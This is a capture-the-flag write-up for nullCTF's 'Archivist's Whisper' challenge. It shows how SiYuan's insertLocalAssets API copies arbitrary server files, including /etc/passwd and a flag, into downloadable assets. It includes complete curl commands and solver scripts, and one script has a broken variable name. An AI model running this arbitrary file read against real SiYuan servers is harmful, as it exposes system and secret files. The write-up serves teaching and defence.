Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Archivist'S Whisper Web

CTF writeup for Archivist'S Whisper Web from nullCTF

//Archivist's Whisper — Writeup

>TL;DR

  • The challenge ships a SiYuan note-taking instance (v3.4.2) behind a thin Docker wrapper; the startup script writes the flag into the container filesystem before launching the app.

  • SiYuan exposes /api/asset/insertLocalAssets, which is supposed to upload local files into the workspace. When isUpload:true, the kernel happily copies any absolute path that the SiYuan process can read. By providing the ID of any block you control, you can trick the backend into copying arbitrary server-side files into assets/…, where they become downloadable over HTTP.

  • Locally the flag lived at /flag_random.txt, so we authenticated with the hard-coded auth code, created a dummy doc, asked the API to copy that file, and then pulled it back via /assets/....

  • Remotely the maintainer changed the startup script to hide the flag inside /flag_77656c636f6d6520746f206e756c6c637466.txt. We reused the same primitive: authenticate, create a notebook/doc, copy /opt/siyuan/startup.sh to leak the flag path, then copy the real flag file and download it. Final flag: nullctf{Th3_f0rg0tt3n_Arch!vist_!s_pr0ud_0f_y0u}.


>Challenge Overview

| Item | Detail |

| --- | --- |

| Service | SiYuan note-taking app (kernel API exposed) |

| Dockerfile highlights | Based on b3log/siyuan, sets SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword, writes a flag at boot, exposes port 6806 |

| Interesting files | startup.sh, /flag_random.txt locally, /flag_77656c636f6d6520746f206e756c6c637466.txt remotely |

| Core vuln | /api/asset/insertLocalAssets copies arbitrary filesystem paths when isUpload:true and the user controls a block ID |

SiYuan stores user documents as blocks identified by 14-digit timestamps + random strings. Any authenticated user (auth code provided) can create a notebook → document, giving us a block ID to reference in subsequent API calls.

insertLocalAssets is intended for drag-dropping local files. The backend implementation (see kernel/model/upload.go) iterates over assetPaths and either uploads the supplied file or, if the path already starts with /, reads it directly from the server. Nothing restricts the path to the workspace, so we get arbitrary file read.


>Local Environment Recon & Exploit

1. Build and run the container

bash

docker build -t archivists_whisper .

docker run -d --name archivists_whisper -p 6806:6806 archivists_whisper:latest

startup.sh inside the image writes nullctf{secret} to /flag_random.txt before launching SiYuan:

bash

#!/bin/sh

set -e

  

echo "nullctf{secret}" > "/flag_random.txt"

exec ./entrypoint.sh

2. Authenticate to SiYuan

SiYuan requires the authCode configured in the image. The login response sets a siyuan cookie that we will reuse.

bash

curl -s -c cookies.txt \

  -H 'Content-Type: application/json' \

  -d '{"authCode":"SuperSecretPassword","rememberMe":true}' \

  http://127.0.0.1:6806/api/system/loginAuth

3. Create a notebook and document (to obtain a block ID)

bash

# notebook creation

curl -s -b cookies.txt \

  -H 'Content-Type: application/json' \

  -d '{"name":"notes","icon":"","sort":0}' \

  http://127.0.0.1:6806/api/notebook/createNotebook

# => returns something like {"data":{"id":"20251206120000-abcdxyz"}}

  

# document inside that notebook

curl -s -b cookies.txt \

  -H 'Content-Type: application/json' \

  -d '{"notebook":"20251206120000-abcdxyz","path":"/scratch","markdown":"temp"}' \

  http://127.0.0.1:6806/api/filetree/createDocWithMd

# response contains the block/document id: e.g. 20251206120123-qwertyu

That final document ID is the id we must pass into insertLocalAssets.

4. Abuse /api/asset/insertLocalAssets

bash

curl -s -b cookies.txt \

  -H 'Content-Type: application/json' \

  -d '{"assetPaths":["/flag_random.txt"],"isUpload":true,"id":"20251206120123-qwertyu"}' \

  http://127.0.0.1:6806/api/asset/insertLocalAssets

Response:

json

{"code":0,"msg":"","data":{"succMap":{"flag_random.txt":"assets/flag_random-20251206120610-h6zkjzo.txt"}}}

Download the copied asset:

bash

curl -s -b cookies.txt \

  http://127.0.0.1:6806/assets/flag_random-20251206120610-h6zkjzo.txt

# -> nullctf{secret}

That confirms the primitive and completes the local portion.


>Remote Exploit Path

Remote target: http://580796a888df.challs.ctf.r0devnull.team:8001/ (stored in remote.txt). The same SiYuan version runs here. The flag path changed, so we first exfiltrated startup.sh and only then pulled the real flag file.

1. Authenticate (remember-me cookie)

bash

BASE="http://580796a888df.challs.ctf.r0devnull.team:8001/"

curl -s -c remote_cookies.txt \

  -H 'Content-Type: application/json' \

  -d '{"authCode":"SuperSecretPassword","rememberMe":true}' \

  "${BASE}api/system/loginAuth"

2. Create notebook & doc remotely

Same endpoints as local, but against BASE. Responses in my session:

  • Notebook ID: 20251207061531-2akixox

  • Document ID: 20251207061605-gslqwoi

3. Copy files using insertLocalAssets

First, prove the bug with a harmless file:

bash

curl -s -b remote_cookies.txt \

  -H 'Content-Type: application/json' \

  -d '{"assetPaths":["/etc/passwd"],"isUpload":true,"id":"20251207061605-gslqwoi"}' \

  "${BASE}api/asset/insertLocalAssets"

Response excerpt:

json

{"succMap":{"passwd":"assets/passwd-20251207063004-mf1zfe8"}}

curl ${BASE}assets/passwd-… returned the server’s /etc/passwd.

4. Leak the new flag path

The local startup.sh wrote /flag_random.txt, but to be sure on remote we copied the live script:

bash

curl -s -b remote_cookies.txt \

  -H 'Content-Type: application/json' \

  -d '{"assetPaths":["/opt/siyuan/startup.sh"],"isUpload":true,"id":"20251207061605-gslqwoi"}' \

  "${BASE}api/asset/insertLocalAssets"

Downloading the resulting asset exposed:

bash

#!/bin/sh

set -e

  

echo "nullctf{Th3_f0rg0tt3n_Arch!vist_!s_pr0ud_0f_y0u}" > "/flag_77656c636f6d6520746f206e756c6c637466.txt"

exec ./entrypoint.sh

So the remote flag lives at /flag_77656c636f6d6520746f206e756c6c637466.txt.

5. Copy & download the actual flag

bash

curl -s -b remote_cookies.txt \

  -H 'Content-Type: application/json' \

  -d '{"assetPaths":["/flag_77656c636f6d6520746f206e756c6c637466.txt"],"isUpload":true,"id":"20251207061605-gslqwoi"}' \

  "${BASE}api/asset/insertLocalAssets"

# => succMap entry assets/flag_77656c636f6d6520746f206e756c6c637466-20251207063531-zus93y9.txt

  

curl -s -b remote_cookies.txt \

  "${BASE}assets/flag_77656c636f6d6520746f206e756c6c637466-20251207063531-zus93y9.txt"

# nullctf{Th3_f0rg0tt3n_Arch!vist_!s_pr0ud_0f_y0u}

Flag captured.


>Solver Commands / Automation Snippets

For convenience I wrapped the key steps into small shell snippets. These are the exact commands I ran while solving.

local.sh

bash

#!/usr/bin/env bash

set -euo pipefail

BASE="http://127.0.0.1:6806/"

COOKIE=local_cookies.txt

  

# login

curl -s -c "$COOKIE" -H 'Content-Type: application/json' \

  -d '{"authCode":"SuperSecretPassword","rememberMe":true}' \

  "${BASE}api/system/loginAuth" >/dev/null

  

# create notebook & doc

otebook=$(curl -s -b "$COOKIE" -H 'Content-Type: application/json' \

  -d '{"name":"notes","icon":"","sort":0}' "${BASE}api/notebook/createNotebook" | jq -r '.data.id')

doc=$(curl -s -b "$COOKIE" -H 'Content-Type: application/json' \

  -d "{\"notebook\":\"$notebook\",\"path\":\"/scratch\",\"markdown\":\"temp\"}" \

  "${BASE}api/filetree/createDocWithMd" | jq -r '.data.id')

  

# copy flag

asset=$(curl -s -b "$COOKIE" -H 'Content-Type: application/json' \

  -d "{\"assetPaths\":[\"/flag_random.txt\"],\"isUpload\":true,\"id\":\"$doc\"}" \

  "${BASE}api/asset/insertLocalAssets" | jq -r '.data.succMap["flag_random.txt"]')

  

# read flag

curl -s -b "$COOKIE" "${BASE}${asset}"

Remote.sh

bash

#!/usr/bin/env bash

set -euo pipefail

BASE="http://580796a888df.challs.ctf.r0devnull.team:8001/"

COOKIE=remote_cookies.txt

  

login() {

  curl -s -c "$COOKIE" -H 'Content-Type: application/json' \

    -d '{"authCode":"SuperSecretPassword","rememberMe":true}' \

    "${BASE}api/system/loginAuth" >/dev/null

}

  

create_doc() {

  notebook=$(curl -s -b "$COOKIE" -H 'Content-Type: application/json' \

    -d '{"name":"notes","icon":"","sort":0}' "${BASE}api/notebook/createNotebook" | jq -r '.data.id')

  doc=$(curl -s -b "$COOKIE" -H 'Content-Type: application/json' \

    -d "{\"notebook\":\"$notebook\",\"path\":\"/scratch\",\"markdown\":\"temp\"}" \

    "${BASE}api/filetree/createDocWithMd" | jq -r '.data.id')

  echo "$doc"

}

  

pull_file() {

  local path="$1" doc="$2" name="$3"

  curl -s -b "$COOKIE" -H 'Content-Type: application/json' \

    -d "{\"assetPaths\":[\"$path\"],\"isUpload\":true,\"id\":\"$doc\"}" \

    "${BASE}api/asset/insertLocalAssets" | jq -r ".data.succMap[\"$name\"]"

}

  

login

doc=$(create_doc)

startup_asset=$(pull_file "/opt/siyuan/startup.sh" "$doc" "startup.sh")

flag_path=$(curl -s -b "$COOKIE" "${BASE}${startup_asset}" | sed -n 's/.*> "\(\/.*txt\)".*/\1/p')

flag_asset=$(pull_file "$flag_path" "$doc" "$(basename "$flag_path")")

curl -s -b "$COOKIE" "${BASE}${flag_asset}"

These small helpers just automate the manual curl workflow shown earlier. They take no shortcuts—the logic mirrors the documented exploitation steps.


>Lessons Learned / Takeaways

  1. Parameter validation matters: letting the client supply arbitrary absolute paths to a file-copy routine is effectively an unauthenticated LFI/RFI, especially when the service also serves copied files verbatim.

  2. Feature creep widens attack surface: SiYuan exposed a huge kernel API meant for the desktop client. Once it’s reachable from the network, every helper endpoint (asset uploads, filetree mutations, etc.) becomes fair game.

  3. Runtime secrets live outside the workspace: The actual flag wasn’t stored in the data directory but in /, yet the vulnerable endpoint still had permission to read it. Container hardening (dedicated user, restricted FS) could have reduced impact.

Happy hunting, and congrats if you made it this far—may the archivist keep whispering secrets your way.